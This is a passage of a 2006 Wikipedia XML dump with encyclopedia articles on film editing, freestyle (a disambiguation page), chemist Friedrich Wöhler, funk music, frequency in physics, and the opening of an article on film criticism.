''Show a lot of things happening at once &lt;br&gt;Remind everyone of what’s going on &lt;br&gt;And with every shot you show a little improvement &lt;br&gt;To show it all would take too long &lt;br&gt;That’s called a montage &lt;br&gt;Oh we want montage''

== Continuity editing ==
{{main|continuity editing}}
What became known as the popular '[[Classical Hollywood cinema|classical Hollywood]]' style of editing was developed by early European and American directors, in particular [[David Wark Griffith|D.W. Griffith]] in his films such as ''[[The Birth of a Nation]]'' and ''[[Intolerance (movie)|Intolerance]]''. The classical style ensures temporal and spatial continuity as a way of advancing narrative, using such techniques as the [[180 degree rule]], [[Establishing shot]], and [[Shot reverse shot]].

== Alternatives to Continuity editing ==
Early Russian filmmakers such as [[Lev Kuleshov]] further explored and theorized about editing and its ideological nature. [[Sergei Eisenstein]] developed a system of editing that was unconcerned with the rules of the continuity system of classical Hollywood that he called [[Intellectual montage]].

== Editing techniques ==
*[[180 degree rule]]
*[[A Roll]]
*[[B Roll]]
*[[Cross cutting]]
*[[Cutaway (film) | Cutaway]]
*[[Cut in]]
*[[Cut out]]
*[[Dissolve (film)|Dissolve]]
*[[Establishing shot]]
*[[Hairy arm]]
*[[Insert (film)|Insert]]
*[[Keying (graphics)|Key]]
*[[L cut]]
*[[Master shot]]
*[[Point of view shot]]
*[[Sequence shot]]
*[[Shot reverse shot]]
*[[Talking head]]
*[[Wipe]]
**[[Clock wipe]]
**[[Heart wipe]]
**[[Matrix wipe]]
**[[Star wipe]]
*[[Axial cut]]

[[Stanley Kubrick]] noted that the editing process is the one phase of production that is truly unique to motion pictures.  Every other aspect of filmmaking originated in a different medium than film (photography, art direction, writing, sound recording), but editing is the one process that is unique to film.  In Alexender Walker's ''Stanley Kubrick Directs,'' Kubrick was quoted as saying, &quot;I love editing. I think I like it more than any other phase of filmmaking. If I wanted to be frivolous, I might say that everything that precedes editing is merely a way of producing film to edit.&quot;

== See also == 
*[[Kuleshov Effect]]
*[[List of movie-related topics|List of film-related topics]]
*[[Non linear editing]]
*[[Edited movies]]

[[Category:Film techniques]]

[[de:Schnitt (Film)]]
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[[sv:Filmklippning]]</text>
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  </page>
  <page>
    <title>Freestyle</title>
    <id>10776</id>
    <revision>
      <id>42034995</id>
      <timestamp>2006-03-03T10:06:48Z</timestamp>
      <contributor>
        <username>Ary29</username>
        <id>64395</id>
      </contributor>
      <minor />
      <comment>it</comment>
      <text xml:space="preserve">The word '''freestyle''' is used to describe a [[sport]] or other activity where the participant is free to choose a [[style]] at will. It is also used to describe a version of a sport which is slightly more lenient than the sport it descended from.

See (in music):
* [[Freestyle music]], also known as &quot;Latin hip hop&quot; or &quot;Latin freestyle&quot;
* [[Freestyle rap]]ping is improvised rapping.
* Freestyle was the name of [[hip hop music]]ian [[Pretty Tony]]'s one man band.
* [[Freestyle (Swedish band)]] is a Swedish band popular in the [[1980s]].
* [[Freestyle (radio program)]] is on the [[Canadian Broadcasting Corporation]]'s [[CBC Radio One|Radio One]]
* ''Freestyle'' is a Saturday night music video request show on New Zealand's [http://www.c4tv.co.nz C4].
* ''Freestyler'' is a [[Bomfunk MC's]] single.
* [[Freestylers]] is a [[United Kingdom]] [[electronic music]] group.

See (in sports):
* [[Freestyle frisbee]]
* [[Freestyle fighting]], a kind of martial art that incorporates various styles and forms of martial arts.
* Freestyle [[FMX]], motorcycle jumping on a [[motocross]] bike.
* [[Freestyle BMX]], bicycle stunts on a [[BMX]] bike.
* [[Freestyle swimming]]
* [[Freestyle wrestling]]
* In skiing:
** [[Freestyle skiing]] (which includes aerial, moguls and ballet skiing)
** Freestyle skis, which are also known as [[Twin-tip ski]]s
** [[Freestyle snowboarding]]
** In cross-country skiing, [[cross-country skiing#Free.2FSkating|skating]] is allowed in ''freestyle'' races
* [[Freestyle skydiving]]
* [[Freestyle skateboarding]]
* Freestyle hockey, which is like normal [[field hockey|hockey]], but:
:#The number of players per team is increased from 11 to 14.
:#The length is increased from 70 to 100 minutes.
:#Goals can be shot from anywhere.
:#A player can hit anyone from the opposing team with his/her stick.
:#There are no other changes.
*[[Freestyle (monster trucks)]]
* [[Freestyle society]], a society dedicated to the acrobatic arts.
* [[Freestyle Soccer]]

==See also==
* Freestyle dance
* [[Musical Canine Freestyle]]

(in consumer goods):
* In [[Sweden]] the word '''freestyle''' is synonymous with a portable [[cassette tape]] player.
*[[Reebok Freestyle]], a women's athletic shoe.
*[[Ford Freestyle]], a crossover SUV. 

{{disambig}}

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  <page>
    <title>Friedrich Wöhler</title>
    <id>10777</id>
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      <timestamp>2005-12-23T17:03:19Z</timestamp>
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      <text xml:space="preserve">{{Infobox_Biography |
 subject_name=Friedrich Wöhler|
 image_name=Friedrich Wöhler Stich.jpg|
 image_caption=German [[chemist]] |
 quotation=Father of organic chemistry|
 date_of_birth=[[July 31]], [[1800]] |
 place_of_birth=
[[Eschersheim]], [[Frankfurt am Main]],[[Germany]]|
  dead=dead |
 date_of_death=[[September 23]], [[1882]] |
 place_of_death=[[Göttingen]],[[Germany]]
}}

'''Friedrich Wöhler''' ([[July 31]], [[1800]] - [[September 23]], [[1882]]) was a [[Germany|German]] [[chemist]], best-known for his synthesis of [[urea]], but also the first to isolate several of the elements.
==Early days==
He was born in [[Eschersheim]] near [[Frankfurt am Main]]. In 1823 Wöhler finished his study of [[medicine]] in [[Heidelberg]] at the laboratory of [[Leopold Gmelin]], who arranged for him to work under [[Jöns Jakob Berzelius]] in [[Stockholm]]. He taught chemistry from [[1825]] to [[1831]] at the Polytechnic School in [[Berlin]]; then till [[1836]] he was stationed at the [[Higher Polytechnic School]] at [[Cassel]], and then he became Ordinary Professor of Chemistry in the [[University of Göttingen]], where he remained till his death. 
==Contributions to chemistry==
Wöhler is regarded as a pioneer in [[organic chemistry]] as a result of his (accidental) synthesizing [[urea]] in the [[Wöhler synthesis]] in [[1828]]. Until 1828, it was believed that organic substances could only be formed under the influence of the vital force in the bodies of animals and plants. Wöhler proved by the artificial preparation of urea from inorganic materials that this view was false. Urea synthesis was integral for [[biochemistry]] because it showed that a compound known to be produced only by biological [[organism]]s could be produced in a [[laboratory]], under controlled conditions, from inanimate matter. This [[in vitro]] synthesis of organic matter disproved the common theory ([[vitalism]]) about the ''[[vis vitalis]]'', a [[transcendent]] &quot;life force&quot; needed for producing organic compounds. By showing that [[cyanates|ammonium cyanate]] can become urea by an internal arrangement of its atoms, without gaining or losing in weight, Wöhler furnished one of the first and best examples of [[isomerism]], demolishing the old view that equality of composition could not coexist in two bodies, A and B, with differences in their respective physical and chemical properties. In the year of his urea synthesis, Wöhler became professor at the age of 28.  Two years later, in 1830, Wöhler published, jointly with [[Justus von Liebig]], the results of a research on [[cyanic acid]] and [[cyanuric acid]] and on [[urea]]. Berzelius, in his report to the [[Royal Swedish Academy of Sciences]], called it the most important of all researches in physics, chemistry, and mineralogy published in that year. The results were quite unexpected, and furnished additional evidence in favour of [[isomerism]]. 
==Major works, discoveries and research==
[[image:friedrich woehler.jpg|thumb|Friedrich Wöhler circa [[1850s]].]]
Wöhler was also a co-discoverer of [[beryllium]] and [[silicon]], as well as the synthesis of [[calcium carbide]], among others. In 1834, Wöhler and Liebig published an investigation of the oil of bitter almonds. They proved by
their experiments that a group of [[carbon]], [[hydrogen]], and [[oxygen]] [[atom]]s can behave like an element, take the place of an element, and can be exchanged for elements in [[chemical compound]]s. Thus the foundation was laid of the doctrine of compound radicals, a doctrine which had a profound influence on the development of chemistry.

Since the discovery of [[potassium]] by [[Humphry Davy]], it had been assumed that [[alumina]], the basis of [[clay]], contained a metal in combination with oxygen. Davy, Oerstedt, and Berzelius attempted the extraction of this metal, but failed. Wöhler then worked on the same subject, and discovered the metal [[aluminium]]. To him also is due the isolation of the elements [[yttrium]], [[beryllium]], and [[titanium]], the observation that silicium can be obtained in crystals, and that some meteoric stones contain organic matter. He analyzed a number of [[meteorite]]s, and for many years wrote the digest on the literature of meteorites in the ''[[Jahresbericht der Chemie]]''; he possessed the best private collection of meteoric stones and irons existing. Wöhler and Sainte Claire Deville discovered the crystalline form of boron, and Wöhler and Buff the hydrogen compounds of silicium and a lower oxide of the same element.
==Final days and legacy==
Wöhler's discoveries had great influence on the theory of chemistry. The journals of every year from [[1820]] to [[1881]] contain contributions from him. It was remarked that &quot;for two or three of his researches he deserves the highest honor a scientific man can obtain, but the sum of his work is absolutely overwhelming. Had he never lived, the aspect of chemistry would be very different from that it is now.&quot;

While sojourning at Cassel, Wöhler made, among other chemical discoveries, one for obtaining the metal [[nickel]] in a state of purity, and with two friends he founded a factory there for the preparation of the metal.

== Works ==
* ''Lehrbuch der Chemie'', Dresden, 1825, 4 vols.
* ''Grundriss der Anorganischen Chemie'', Berlin, 1830
* ''Grundriss der Organischen Chemie'', Berlin, 1840
* ''Praktischen Uebringen der Chemischen Analyse'', Berlin, 1854

{{commons|Friedrich Wöhler}}

[[Category:1800 births|Woehler, Friedrich]]
[[Category:1882 deaths|Woehler, Friedrich]]
[[Category:German chemists|Woehler, Friedrich]]
[[Category:German scientists|Woehler, Friedrich]]
[[Category:Discoverers of chemical elements|Woehler, Friedrich]]

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  <page>
    <title>Funk</title>
    <id>10778</id>
    <revision>
      <id>41979604</id>
      <timestamp>2006-03-03T00:39:55Z</timestamp>
      <contributor>
        <username>TigerShark</username>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.9.170.142|68.9.170.142]] ([[User talk:68.9.170.142|Talk]]) to last version by Sasuke Sarutobi</comment>
      <text xml:space="preserve">{{Otheruses2|Funk}}
{{Funk}}
'''Funk''' is a distinct style of [[music]] originated by [[African-American]]s, e.g., [[James Brown (musician)|James Brown]] and his band members (especially [[Maceo Parker|Maceo]] and [[Melvin Parker]]), and groups like [[The Meters]].
Funk best can be recognized by its syncopated three against four rhythms; thick bass line (often based on an &quot;on the one&quot; beat); razor-sharp rhythm guitars; chanted or hollered vocals (as that of [[Marva Whitney]] or the [[Bar-Kays]]); strong, rhythm-oriented [[horn section]]s; prominent [[Percussion instrument|percussion]]; an upbeat attitude; African tones; danceability; and strong jazz influences (e.g., as in the music of [[Miles Davis]], [[Herbie Hancock]], [[George Duke]], [[Eddie Harris]], and others).

===Characteristics===
Compared to funk's predecessor, the [[soul music]] of 1960s, funk typically uses more complex [[rhythm]]s, while song structures are usually simpler. Often, the structure of a funk song consists of just one or two [[riffs]]. Sometimes the point at which one riff changes to another becomes the highlight of a song. The soul [[dance]] music of its day, the basic idea of funk was to create as intense a groove as possible.  

One of the most distinctive features of funk music is the role played by [[bass guitar]]. Before soul music, bass was rarely prominent in [[popular music]]. Players like the legendary [[Motown]] bassist [[James Jamerson]] brought bass to the forefront, and funk built on that foundation, with melodic basslines often being the centerpiece of songs. Notable funk bassists include [[Bootsy Collins]] and [[Larry Graham]] of [[Sly &amp; the Family Stone]]. Graham is often credited with inventing the percussive &quot;[[Slapping|slap bass technique]],&quot; which was further developed by later bassists and became a distictive element of funk. 

Some of the best known and most skillful soloists in funk have [[jazz]] backgrounds. Trombonist [[Fred Wesley]] and saxophonist [[Maceo Parker]] are among the most notable musicians in the funk music genre, both having worked with [[James Brown (musician)|James Brown]] and [[George Clinton (funk musician)|George Clinton]]. Jazz was, in turn, strongly influenced by funk in the [[1970]]s, beginning with [[Miles Davis]], the founder of the [[jazz fusion]] movement.

In funk bands, guitarists typically play in a percussive style. &quot;Dead&quot; or muted notes often are used in riffs to strengthen percussive elements. [[Jimi Hendrix]] was the pioneer of funk rock and his improvised other-worldly solos influenced Eddie Hazel of Funkadelic. [[Eddie Hazel]], who later worked with George Clinton is one of the most notable guitar soloists in funk. [[Jimmy Nolen]] and [[Phelps Collins]] are famous funk rhythm guitarists who both worked with James Brown.

==History==
===Origin of funk===
{{wiktionarypar|funk}}
The word &quot;funk&quot;, once defined in dictionaries as body odor or the smell of sexual intercourse, commonly has been regarded as coarse or indecent. African-American musicians originally applied &quot;funk&quot; to music with a slow, mellow groove, then later with a hard-driving, insistent rhythm because of the word's association with sexual intercourse.  This early form of the music set the pattern for later musicians.  The music was slow, sexy, loose, [[riff]]-oriented and danceable. ''Funky'' typically described these qualities.  In jam sessions, musicians would encourage one another to &quot;get down&quot; by telling one another, &quot;Now, put some ''stank'' ('stink'/funk) on it!&quot;  At least as early as the 1930s, [[jazz]] songs carried titles such as [[Buddy Bolden]]'s ''Funky Butt.'' As late as the 1950s and early 1960s, when &quot;funk&quot; and &quot;funky&quot; were used increasingly in the context of soul music, the terms still were considered indelicate and inappropriate for use in polite company.

The distinctive characteristics of African-American musical expression are rooted in [[West Africa|West African]] musical traditions, and find their earliest expression in spirituals, work chants/songs, praise shouts, gospel and blues.  In more contemporary music, gospel, blues and blues extensions and jazz often flow together seamlessly.  Funky music is an amalgam of [[soul music]], [[soul jazz]] and [[R&amp;B]].

===James Brown and funk as a genre=== 
Only with the innovations of James Brown in the late 1960s was funk regarded as a distinct genre. In the R&amp;B tradition, these tightly rehearsed bands created an instantly recognizable style, overlaid with catchy, anthemic vocals. Often cueing his band with the command, &quot;On the one!&quot; Brown changed the rhythmic emphasis from the two-four beat of traditional soul music to a one-three emphasis previously associated with white musical forms -- but with a hard-driving, brassy swing. This pumping, one-three beat became a signature of classic funk. While James Brown's [[1965]] Top 10 [[King Records]] hit &quot;[[Papa's Got a Brand New Bag]]&quot; is widely presumed to be the song that paved way for the funk genre, much of Brown's work in 1965 and [[1966]], though remarkable, still maintained the rhythms and approach found in earlier records. It was the #1 R&amp;B hits &quot;Cold Sweat&quot; in [[1967]], &quot;I Got The Feelin'&quot; and &quot;Say It Loud, I'm Black And I'm Proud&quot; in [[1968]] that further defined the feel of funk. R&amp;B #1's &quot;Give It Up Or Turn It Loose&quot; and &quot;Mother Popcorn&quot; in [[1969]] continued to solidify the tight rhythms, riffs and grooves for which funk music is known, setting the standard for James Brown's future work and the rising wave of funk to come in the [[1970s]].

Other musical groups picked up on the [[riff|riffs]], rhythms, and vocal style innovated by [[James Brown (musician)|James Brown]] and his band, and the style began to grow. [[Dyke &amp; the Blazers]] based in [[Phoenix, Arizona]] released &quot;Funky Broadway&quot; in [[1967]], perhaps the first record to have &quot;funky&quot; in the title. Meanwhile, on the [[West Coast of the United States|West Coast]], [[Charles Wright &amp; the Watts 103rd Street Rhythm Band]] were releasing funk tracks beginning with their first album in 1967, culminating in their classic single &quot;Express Yourself&quot; in 1970.  [[The Meters]] defined funk in [[New Orleans, Louisiana|New Orleans]] starting with their Top Ten R&amp;B hits &quot;Sophisticated Cissy&quot; and &quot;Cissy Strut&quot; in 1969. Another group who would define funk in the decade to come were [[The Isley Brothers]] whose funky 1969 #1 R&amp;B hit, &quot;[[It's Your Thing]]&quot;, signaled a breakthrough in black music bridging the gaps of the rock of [[Jimi Hendrix]] and the upbeat soul of [[Sly &amp; the Family Stone]].

===1970s and P-Funk===
In the [[1970s]], a new group of musicians further developed the &quot;funk rock&quot; approach innovated by [[Jimi Hendrix]]. [[George Clinton (funk musician)|George Clinton]], with his bands [[Parliament (band)|Parliament]] and, later, [[Funkadelic]], produced a new kind of funk sound heavily influenced by [[jazz]] and [[psychedelic music]].  The two groups had members in common and often are referred to singly as &quot;Parliament-Funkadelic.&quot;  The breakout popularity of Parliament-Funkadelic gave rise to the term &quot;[[P-Funk]],&quot; which both referred to the music by George Clinton's bands and defined a new subgenre.

[[Image:george_clinton_funk.jpg|thumb|right|200 px|George Clinton with rainbow [[dreadlocks|dreads]] at the [[VH1]] Fashion Awards.]]&quot;P-funk&quot; also came to mean something in its quintessence, of superior quality, or ''sui generis'', as in the lyrics from &quot;P-Funk,&quot; a hit single from Parliament's album &quot;Mothership Connection&quot;:
::''&quot;I want the bomb. I want the P-Funk. I want my funk uncut.&quot;''

The 1970s was probably the era of highest mainstream visibility for funk music. Other prominent funk bands of the period included [[Earth, Wind &amp; Fire]], [[Bootsy's Rubber Band]], [[The Meters]], [[Tower of Power]], [[Ohio Players]], [[The Commodores]], [[War (band)|War]], [[Kool &amp; the Gang]], [[Confunkshun]], [[Slave (band)|Slave]], [[Cameo (band)|Cameo]], [[Midnight Star(band)|Midnight Star]], the [[Bar-Kays]], [[Betty Davis]], [[Zapp (band)|Zapp]], and many more.

Two bands in particular, [[Earth, Wind &amp; Fire]] and [[Tower of Power]], took the rythmic power of funk and added to it more complex song forms, combined with large scale instrumentation -- large horn sections, latin percussion, numerous capable soloists. These bands sold many records and brought the funk ethos to a larger audience.

Already, in late 1960s, many jazz musicians &amp;mdash; among them [[Horace Silver]], [[Herbie Hancock]] (with his [[The Headhunters|Headhunters]] band), [[Grover Washington, Jr.]], and [[Cannonball Adderley]], [[Les McCann]] and [[Eddie Harris]] &amp;mdash; had begun to combine jazz and funk. Sometimes this approach is called &quot;[[jazz-funk]]&quot;. Additionally, in the late 1960s work of [[Miles Davis]] (with girlfriend/wife [[Betty Davis]]) and [[Tony Williams]] helped to create [[Jazz fusion]] and influnced funk.

Funk music was exported to Africa in the late [[1960s]], and melded with African singing and rhythms to form [[Afrobeat]]. [[Fela Kuti]] was a Nigerian musician who is credited with creating the music and terming it &quot;Afrobeat&quot;.

[[Disco]] music owed a great deal to funk. Many early disco songs and performers came directly from funk-oriented backgrounds.

===1980s and stripped-down funk===
In the [[1980s]], many of the core elements that formed the foundation of the P-Funk formula began to be usurped by machines.
Horns were replaced by [[synthesizer|synths]], effectively phasing out horn sections, and the horns that remained were simplified from the patterns and hooks of the earlier funk sound. Horn solos were out. The classic keyboards of funk, like the [[Hammond B3]] organ and the [[Rhodes piano|Fender Rhodes piano]] began to be replaced by the brash sound of new digital synthesizers like the [[Yamaha DX7]]. [[Drum machines]] began to replace the &quot;[[funky drummer|funky drummers]]&quot; of the past, and the [[slapping|slap]] and pop style of bass playing began to fall out of favor, often replaced by thinner sounding and rhythmically simpler keyboard bass. The lyrics and hooks of funk began to change from often suggestive and using [[double entendre]] to more graphic and sexually explicit. 
[[Rick James]] was the first funkateer of the 80s to assume the funk mantle dominated by P-Funk in the 70s. His 1981 album [[Street Songs (album)|Street Songs]] with the singles &quot;Give It To Me Baby&quot; and &quot;[[Super Freak]]&quot; resulted in James becoming a bit of a rock star, and paved the way for the future direction of explicitness in funk.  [[Prince (artist)|Prince]], using a stripped-down instrumentation similar to [[Rick James]], went on to have as much of an impact on the sound of funk as any one artist since [[James Brown (musician)|James Brown]]. [[Prince (artist)|Prince]] combined eroticism, technology,   an increasing musical complexity, and an outrageous image and stage show to ultimately create a musical world as ambitious and imaginative as P-Funk or [[The Beatles]].  [[The Time (band)|The Time]], originally conceived as an opening act for Prince and based on his &quot;[[Minneapolis sound]]&quot;, went on to define their own style of stripped-down funk based on tight musicianship and sexual themes.

Bands that began during the 1970s P-Funk era incorporated some of the uninhibited sexuality of [[Prince (artist)|Prince]] and state-of-the-art  technological developments to continue to craft funk hits. [[Cameo (band)|Cameo]], [[Zapp (band)|Zapp]], The [[Gap Band]], The [[Bar-Kays]], and The [[Dazz Band]] all found their biggest hits in the 80s, but by the latter half of the 80s, funk had lost its commercial impact.

[[Afrika Bambaataa]] influenced by [[Kraftwerk]] created &quot;[[Electro (music)|Electro Funk]]&quot;, a minimalist machine-driven style of funk  with his single &quot;Planet Rock&quot; in 1982. Also known simply as [[Electro (music)|Electro]], this style of funk was driven by synthesizers and the electronic rhythm of the [[TR-808]] drum machine. The single &quot;Renegades of Funk&quot; followed in 1983.

===Recent developments===
While funk was all but driven from the radio by slick commercial [[Rhythm and blues|R&amp;B]] and [[New Jack Swing]], its influence continued to spread. Rock bands began adding elements of Funk to their sound, creating new combinations of &quot;funk rock&quot; and [[funk metal]]. [[Jane's Addiction]], [[Primus (band)|Primus]], [[Fishbone]], [[Faith No More]] and the [[Red Hot Chili Peppers]] spread the approach and styles garnered from funk pioneers to all new predominantly white audiences in the mid-to-late [[1980s]] and the [[1990s]]. These bands later inspired the underground mid-[[1990s]] [[funkcore]] movement.

Artists like The [[Brand New Heavies]] and [[Me'shell Ndegeocello]] carried on with strong elements of funk in the [[1990s]], but never came close to reaching  the commercial success of funk in its heyday.

Today, [[hip hop music|hip hop]] artists regularly [[digital sampling|sample]] old funk tunes.  [[James Brown (musician)|James Brown]] is said to be the most sampled artist in the history of hip hop. Notably, the sampling of The [[Ohio Players]]' 'Ecstasy' in [[Jay-Z]]'s track 'Brooklyn's Finest', (which featured the [[Notorious B.I.G.]]) led to what is widely regarded as one of 1990s hip hop's seminal tracks. P-Funk also is sampled frequently&amp;mdash;samples of old [[Parliament (band)|Parliament]] and [[Funkadelic]] songs formed the basis of [[West Coast rap|West Coast]] [[G Funk]]. [[Dr. Dre]] (considered the progenitor of the G-Funk genre) has freely acknowledged to being heavily influenced by George Clinton's psychedelic funk: ''&quot;Back in the 70s that's all people were doing: getting high, wearing Afros, bell-bottoms and listening to Parliament-Funkadelic. That's why I called my album &quot;[[The Chronic]]&quot; and based my music and the concepts like I did: because his shit was a big influence on my music. Very big&quot;''.[http://www.musicstrands.com/artist/6599/biography] 

Funk is a major element of certain artists identified with the [[Jam band]] scene of the late [[1990s]] and [[2000s]]. 
[[Medeski Martin &amp; Wood]], [[Galactic (band)|Galactic]], [[Soulive]], and [[Karl Denson's Tiny Universe]] all drawing heavily from the funk tradition. Vermont-based Phish went through a period of funky jams which fans refer to as their &quot;cow funk&quot; stage.

Since the mid [[1990s]] the New Funk scene, centered around the [[Deep Funk]] collectors scene, is producing new material influenced by the sounds of rare [[funk 45]]'s. Labels include Desco, Soul Fire, [[Daptone Records|Daptone]], Timmion, Neapolitan, Kay-Dee, and Tramp. Bands include [[Sharon Jones &amp; The Dap-kings|Sharon Jones and the Dap Kings]], The Soul Destroyers, Speedometer, The Poets of Rhythm, The Neapolitans, Quantic Soul Orchestra, The New Mastersounds and Lefties Soul Connection. These labels often release on 45 rpm records. Although specializing in music for rare funk DJ's there is beginning to be cross over into the mainstream such as Sharon Jones' 2005 appearance on [[Late Night with Conan O'Brien]].   

Note: Despite its name, [[Grand Funk Railroad]] is ''not'' a funk band; the name is a pun on [[Grand Trunk Railroad]], a Michigan rail line, and it is a straight [[rock and roll|rock]] band. It has though got some funk inspired songs. Also the word &quot;funk&quot; is often used widely to refer to African-American pop music of the [[1970s]] in general. Artists such as [[Stevie Wonder]] and [[Marvin Gaye]] actually recorded few straight funk pieces.

==See also==
* [[list of funk musicians]]
* [[The Funk Brothers]]
* [[African American music]]
* [[Funk (disambiguation)]]

==Further reading==
* {{cite book
 | last = Vincent | first = Rickey
 | title=Funk: The Music, The People, and The Rhythm of The One
 | year=1996
 | publisher=St. Martin's Press
 | id=ISBN 0-312-13499-1
 }}
* {{cite book
 | last = Thompson | first = Dave
 | title=Funk | year=2001
 | publisher=Backbeat Books
 | id=ISBN 0-87930-629-7
 }}

==External links==
* [http://www.bbc.co.uk/6music/shows/craig_charles/ Craig Charles Funk Show]: BBC 6 Music funk show
* [http://www.surefunk.com/ Funk Music Resources]: Site dedicated to promoting Funk

[[Category:American styles of music]]
[[Category:Funk]]
[[Category:Soul music]]
[[Category:R&amp;B]]

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  </page>
  <page>
    <title>Frequency</title>
    <id>10779</id>
    <revision>
      <id>41926575</id>
      <timestamp>2006-03-02T17:52:04Z</timestamp>
      <contributor>
        <username>Cburnett</username>
        <id>140084</id>
      </contributor>
      <comment>/* See also */ Link [[Digital frequency]]</comment>
      <text xml:space="preserve">:{{otheruses}}
[[Image:Sine waves different frequencies.png|thumb|right|360px|[[Sine]] waves of various frequencies; the lower waves have higher frequencies than those above.]]
'''Frequency''' is the [[measurement]] of the number of times that a repeated event occurs per unit [[time]]. It is also defined as the rate of change of [[phase_(waves) | phase]] of a sinusoidal waveform.

== Measurement ==

To calculate the frequency of an event, the number of occurrences of the event within a fixed time interval are counted, and then divided by the length of the time interval.

In [[SI]] units, the result is measured in [[hertz|hertz (Hz)]], named after the German physicist [[Heinrich Rudolf Hertz]]. 1 Hz means that an event repeats once per [[second]], 2 Hz is twice per second, and so on.  This unit was originally called a cycle per second (cps), which is still used sometimes.  Other units that are used to measure frequency include [[revolutions per minute]] (rpm) and [[radians per second]] (rad/s). [[Heart rate]] and musical [[tempo]] are measured in [[beats per minute]] (BPM).

An alternative method to calculate frequency is to measure the time between two consecutive occurrences of the event (the period) and then compute the frequency as the reciprocal of this time:

:&lt;math&gt;f = \frac{1}{T}&lt;/math&gt;
where ''T'' is the '''[[period]]'''.  A more accurate measurement takes many cycles into account and averages the period between each.

==Frequency of waves==

Measuring the frequency of [[sound]], [[electromagnetic wave]]s (such as [[radio]] or [[light]]), electrical signals, or other waves, the frequency in hertz is the number of cycles of the repetitive waveform per second. If the wave is a [[sound]], frequency is what mainly characterizes its [[Pitch_(music)|pitch]].

Frequency has an inverse relationship to the concept of [[wavelength]]. The [[frequency]] ''f'' is equal to the [[speed]] ''v'' of the [[wave]] [[division (mathematics)|divided]] by the [[wavelength]] &amp;lambda; (lambda) of the wave:

:&lt;math&gt;f = \frac{v}{\lambda}&lt;/math&gt;

In the [[special case]] of electromagnetic waves moving through a [[vacuum]], then '''v = c''', where '''c''' is the [[speed of light]] in a vacuum, and this expression becomes:

:&lt;math&gt;f = \frac{c}{\lambda}&lt;/math&gt;

'''Note.''' When [[waves]] travel from one [[medium]] to another, their frequency remains exactly the same &amp;mdash; only their [[wavelength]] and/or [[speed]] changes.

== Invariance ==
Apart from its being modified by [[Doppler effect]], frequency is an invariant quantity in the universe. That is, it cannot be changed by any physical process unlike velocity of propagation or wavelength.

== Reference frequencies ==
There are universally agreed [[Frequency reference|reference frequencies]] for the measuring of time. One such method, used in [[atomic clock]]s, is based on the frequency of the [[Caesium]] atom.

==Examples==

*The frequency of the standard pitch A above [[middle C]] is usually defined as [[A440|440 Hz]], that is, 440 cycles per second ({{Audio|Media-440Hz.ogg|Listen}}) and known as concert [[Pitch_(music)|pitch]], to which an [[orchestra]] tunes.
*A baby can hear tones with oscillations up to approximately 20,000 Hz, but these frequencies become more difficult to hear as people age.
*In Europe, the frequency of the [[alternating current]] in [[mains electricity|mains]] is 50 Hz (close to the tone G), however, in North America, the frequency of the [[alternating current]] is 60 Hz (close to the tone B flat — that is, a [[minor third]] above the European frequency). The frequency of the '[[hum]]' in an [[audio recording]] can show where the recording was made — in Europe or in America.

==See also==
{{wiktionary|frequency}}
*[[Digital frequency]]
*[[phase_(waves) | Phase]]
*[[Angular frequency]]
*[[Negative frequency]]
*[[Instantaneous frequency]]
*[[Wave]], [[Wavelength]], [[Amplitude]], [[Cutoff frequency]]
*[[Frequency spectrum]], [[Electromagnetic spectrum]]
*[[Electromagnetic radiation]]
*[[note|Music note]], [[Pitch (music)|Pitch]], [[Cent (music)|Cent]], [[Tuning]], [[Piano key frequencies]]
*[[Simple harmonic motion]]
*[[Fundamental frequency]]

==External links==

*[http://www.sengpielaudio.com/calculator-wavelength.htm Conversion: frequency to wavelength and back]
*[http://www.sengpielaudio.com/calculator-period.htm Conversion: period, cycle duration, periodic time to frequency]

[[Category:Physical quantity]]
[[Category:Sound]]
[[Category:Wave mechanics]]

[[ar:تردد]]
[[bg:Честота]]
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[[da:Frekvens]]
[[de:Frequenz]]
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[[el:Συχνότητα]]
[[es:Frecuencia (física)]]
[[eo:Frekvenco]]
[[fa:بسامد]]
[[fr:Fréquence]]
[[gl:Frecuencia]]
[[ko:진동수]]
[[hr:Frekvencija]]
[[io:Frequeso]]
[[id:Frekuensi]]
[[it:Frequenza]]
[[he:תדירות]]
[[lt:Dažnumas]]
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[[nl:Frequentie]]
[[ja:周波数]]
[[no:Frekvens]]
[[nn:Frekvens i fysikk]]
[[pl:Częstotliwość]]
[[pt:Frequência]]
[[ro:Frecvenţă]]
[[ru:Частота]]
[[sk:Frekvencia (fyzika)]]
[[sl:Frekvenca]]
[[fi:Taajuus]]
[[sv:Frekvens]]
[[ta:அதிர்வெண்]]
[[th:ความถี่]]
[[vi:Tần số]]
[[tr:Frekans]]
[[zh:頻率]]</text>
    </revision>
  </page>
  <page>
    <title>Film criticism</title>
    <id>10780</id>
    <revision>
      <id>42046864</id>
      <timestamp>2006-03-03T12:48:14Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">'''Film criticism''' is the analysis and evaluation of [[film]]s, individually and collectively. In general this can be divided into journalistic criticism that appears regularly in [[newspaper]]s and other popular, mass-media outlets and academic criticism by film scholars that is informed by [[film theory]] and published in journals.

==Journalistic criticism==
Film critics working for [[newspaper]]s, [[magazine]]s, [[broadcast media]], and online publications mainly review new releases.  Normally they only see any given film once and have only a day or two to formulate opinions.  Despite this, critics have an important impact on films, especially those of certain [[film genre|genre]]s. The popularity of mass-marketed [[action film|action]], [[horror film|horror]], and [[comedy film|comedy films]] tend not to be greatly affected by a critic's overall judgment of a film.  The plot summary and description of a film that makes up the majority of any film review can have an important impact on whether people decide to see a film.  For prestige films with a limited release, such as independent [[drama film|drama]]s, the influence of reviews is extremely important. Poor reviews will often doom a film to obscurity and financial loss.
===Reviews and film marketing===
The impact of reviews on a film's [[box office]] performance and DVD rentals/sales is a matter of debate.  Some claim that [[movie marketing]] is now so intense and well financed that reviewers cannot make an impact against it.  However, the cataclysmic failure of some heavily-promoted movies (such as ''[[Alexander (movie)|Alexander]]'') that were harshly reviewed, as well as the unexpected success of critically praised independent movies (such as ''[[Pulp Fiction]]'') indicates that extreme critical reactions can have considerable influence.  Others note that positive film reviews have been shown to spark interest in little-known films.  Major box-office analysis websites like Box Office Prophets and Box Office Guru regularly factor in general film review opinions in their projections of a film's earnings.

